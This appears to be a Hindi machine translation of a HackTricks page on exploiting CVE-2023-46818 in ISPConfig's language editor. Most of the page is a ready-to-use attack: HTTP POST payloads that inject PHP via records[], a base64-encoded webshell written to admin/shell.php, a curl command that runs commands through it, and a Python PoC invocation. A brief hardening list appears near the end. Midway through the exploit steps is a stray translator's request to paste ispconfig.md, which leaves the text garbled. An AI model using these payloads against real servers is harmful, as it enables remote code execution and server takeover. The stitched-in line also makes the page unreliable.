ISPConfig

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

अवलोकन

ISPConfig एक open-source hosting control panel है। पुराने 3.2.x बिल्ड्स में language file editor नाम का एक फीचर था जो, super administrator के लिए सक्षम होने पर, malformed translation record के जरिए arbitrary PHP code injection की अनुमति देता था। इससे web server context में RCE हो सकता है और, इस बात पर निर्भर करते हुए कि PHP कैसे execute होता है, privilege escalation संभव है।

Key default paths:

  • Web root अक्सर at /var/www/ispconfig होता है जब इसे php -S से या Apache/nginx के माध्यम से serve किया जाता है।
  • Admin UI HTTP(S) vhost पर reachable होता है (कभी-कभी केवल localhost पर bound होता है; आवश्यक होने पर SSH port-forward का उपयोग करें)।

टिप: यदि पैनल लोकल पर बाइंड है (उदा. 127.0.0.1:8080), तो इसे फॉरवर्ड करें:

bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Language editor PHP code injection (CVE-2023-46818)

  • प्रभावित: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • पूर्वशर्तें:
  • Built-in superadmin account admin के रूप में लॉगिन (वेंडर के अनुसार अन्य रोल प्रभावित नहीं हैं)
  • Language editor सक्षम होना चाहिए: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • प्रभाव: प्रमाणीकृत admin arbitrary PHP inject कर सकता है जो एक language file में लिखा जाता है और application द्वारा execute होता है, जिससे web context में RCE प्राप्त होता है

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

Manual exploitation flow

  1. CSRF tokens प्राप्त करने के लिए language file खोलें/बनाएँ

पहला POST भेजें ताकि फ़ॉर्म इनिशियलाइज़ हो और HTML response से CSRF फ़ील्ड्स (csrf_id, csrf_key) पार्स करें। उदाहरण request path: /admin/language_edit.php.

  1. records[] के माध्यम से PHP inject करें और save करें

CSRF फ़ील्ड्स और एक malicious translation record शामिल करते हुए दूसरा POST भेजें। न्यूनतम command-execution प्रॉब्स:

http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band परीक्षण (ICMP का निरीक्षण):

http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. फाइलें लिखें और एक webshell गिराएँ

वेब-पहुंच योग्य पथ (जैसे admin/) के अंतर्गत एक फ़ाइल बनाने के लिए file_put_contents का उपयोग करें:

http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

फिर POST बॉडी में खराब वर्णों से बचने के लिए base64 का उपयोग करके एक सरल webshell लिखें:

http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

कृपया ispconfig.md की सामग्री यहाँ पेस्ट करें — मैं दिए गए निर्देशों के अनुसार Markdown और HTML टैग, लिंक/पाथ तथा तकनीकी शब्द न बदलते हुए इसे हिन्दी में अनुवाद कर दूँगा।

bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

यदि PHP को root के रूप में चलाया गया हो (उदा., root द्वारा शुरू किया गया php -S 127.0.0.1:8080), तो यह तुरंत root RCE देता है। अन्यथा, आप वेब सर्वर उपयोगकर्ता के रूप में कोड निष्पादन प्राप्त करते हैं।

Python PoC

एक तैयार-उपयोग exploit token handling और payload delivery को स्वचालित करता है:

उदाहरण रन:

bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Hardening

  • 3.2.11p1 या उसके बाद के संस्करण पर अपग्रेड करें
  • भाषा संपादक को तब तक अक्षम रखें जब तक यह सख्ती से आवश्यक न हो:
admin_allow_langedit=no
  • पैनल को root के रूप में चलाने से बचें; PHP-FPM या web server को इस तरह कॉन्फ़िगर करें कि वे privileges छोड़ दें
  • built-in admin account के लिए मजबूत authentication लागू करें

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें